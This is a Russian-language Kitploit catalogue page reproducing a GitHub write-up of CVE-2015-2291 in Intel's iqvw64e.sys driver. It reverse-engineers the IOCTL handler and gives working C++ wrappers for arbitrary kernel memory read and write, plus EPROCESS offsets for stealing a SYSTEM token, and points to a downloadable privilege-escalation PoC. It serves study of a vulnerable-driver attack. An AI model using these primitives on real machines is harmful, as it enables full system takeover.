Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
iqvw64e-privilege-escalation — CVE-2015-2291 Local Privilege Escalation PoC | Kitploit
Инструменты/GitHubGitHub/ethanedits/iqvw64e-privilege-escalation
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringLearning & EducationBinary Exploitation
GitHubethanedits/iqvw64e-privilege-escalation

iqvw64e-privilege-escalation

CVE-2015-2291 Local Privilege Escalation PoC

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
26 месяцев назадЕщё не проверено

iqvw64e-privilege-escalation

CVE-2015-2291 Локальное повышение привилегий PoC

PoC

Обзор

Этот проект представляет собой образовательное доказательство концепции для уязвимости локального повышения привилегий (LPE) в драйвере iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — драйвере диагностики Ethernet от Intel, связанном с CVE-2015-2291.

Увидев, что этот драйвер используется в загрузчиках на уровне ядра, таких как KDMapper, я захотел самостоятельно провести реверс-инжиниринг, чтобы понять как работает диспетчеризация IOCTL, какие функции он предоставляет пользовательскому режиму и как атакующий может их обнаружить или использовать. Это описание проходит путь от статического анализа до создания примитивов работы с памятью с помощью DeviceIoControl и, в конечном итоге, создания эксплойта, использующего эти примитивы для замены маркера доступа текущего процесса на маркер доступа процесса SYSTEM, что эффективно повышает привилегии процесса до уровня SYSTEM.

В Windows каждый процесс связан с маркером доступа, определяющим его идентичность и привилегии. Получив произвольное чтение/запись в ядре, становится возможным изменить указатель на маркер, хранящийся в структуре процесса ядра. Замена этого указателя на указатель, принадлежащий процессу SYSTEM, заставляет ОС ассоциировать текущий процесс с контекстом безопасности SYSTEM, тем самым предоставляя ему полные привилегии. Подробнее здесь.

От обработчика IOCTL к таблице переходов

Драйвер регистрирует процедуру диспетчеризации для IRP_MJ_DEVICE_CONTROL, которая обрабатывает вызовы DeviceIoControl из пользовательского режима. Как показано ниже, она ведёт к sub_11150, которая направляет поток выполнения в зависимости от входного кода управления IO. В данном случае нас интересует 0x80862007, который приводит нас к loc_111C2.

IRP_MJ_DEVICE_CONTROL

Следуя потоку управления через loc_111C2, мы достигаем sub_113C0. Она получает входной буфер (a1) и использует первое QWORD этого буфера как индекс в таблице переходов внутренних функций-обработчиков. Здесь драйвер выполняет следующее:

  • Считывает a1 → первое QWORD (0x0) → jump_table_index

  • Выполняет переключение на основе этого индекса

  • Направляет в соответствующую внутреннюю функцию

  • Использует оставшиеся поля в a1 как аргументы

Теперь мы знаем, что входной буфер управляет как целью диспетчеризации, так и её параметрами. Мы будем уточнять структуру входного буфера по мере продолжения анализа.

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — используется как селектор диспетчеризации
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

loc_111C2

sub_113C0

Идентификация примитива memmove

При анализе случаев таблицы переходов я искал обработчики, напоминающие memmove или memcpy. В случае 0x33 драйвер вызывает sub_11EA0, передавая три поля из входного буфера. Это сильно напоминает копирование памяти:

case_0x33

Открыв sub_11EA0, мы находим ожидаемую сигнатуру:

root@kitploit:~
void* memmove( void* dest, const void* src, std::size_t count );

Дизассемблирование подтверждает, что:

  • Аргумент a1 = назначение

  • Аргумент a2 = источник

  • Аргумент a3 = длина

sub_11EA0

С этой информацией мы можем полностью восстановить структуру входного буфера, ожидаемую для вызова memmove:

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
	uint64_t jump_table_index; // 0x00
	uint64_t padding;          // 0x08 (8)
	uint64_t source;           // 0x10 (16)
	uint64_t destination;      // 0x18 (24)
	uint64_t length;           // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

Достижение произвольного чтения/записи памяти

Теперь мы понимаем, что, отправив драйверу корректный MEMMOVE_INPUT_BUFFER с:

  • jump_table_index = 0x33

  • source, destination и length, установленными по необходимости

Мы можем указать драйверу вызвать memmove на произвольных адресах, что даёт нам полную возможность чтения/записи памяти ядра из пользовательского режима.

Вот обёртки пользовательского режима, построенные на этом примитиве:

root@kitploit:~
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
	if (!destination || !source || !size)
		return 0;

	MEMMOVE_INPUT_BUFFER input_buffer = { 0 };

	input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
	input_buffer.source = source;
	input_buffer.destination = destination;
	input_buffer.length = size;

	DWORD bytes_returned = 0;
	return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}

uintptr_t read64(uintptr_t address)
{
	uintptr_t value = 0;
	if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
		return value;
	return 0;
}

bool write64(uintptr_t address, uintptr_t value)
{
	return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}

Эти вспомогательные функции позволяют произвольно читать и записывать 64-битные значения в виртуальную память ядра. С этого момента становятся возможны различные атаки (например, кража маркера EPROCESS), но эта статья сосредоточена на восстановлении и анализе. В файле main.cpp вы найдёте PoC эксплойт для кражи маркера EPROCESS благодаря Eap2468 из CVE-2021-2155

Заметки

  • Версия Windows: 10 x64 22H2 (19045.6466)

  • Смещения EPROCESS:

    • UniqueProcessId: 0x440
    • ActiveProcessLinks: 0x448
    • Token: 0x4b8
  • Драйвер: iqvw64e.sys (двоичный файл драйвера включён в репозиторий для вашего удобства)

  • SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9

Ссылки и благодарности

  • CVE-2015-2291 (iqvw64e.sys)
  • KDMapper
  • CVE-2021-21551 / Token Stealing Exploit
  • Проект Vergilius – определения структур Windows

Демонстрация

PoC

Скачать инструмент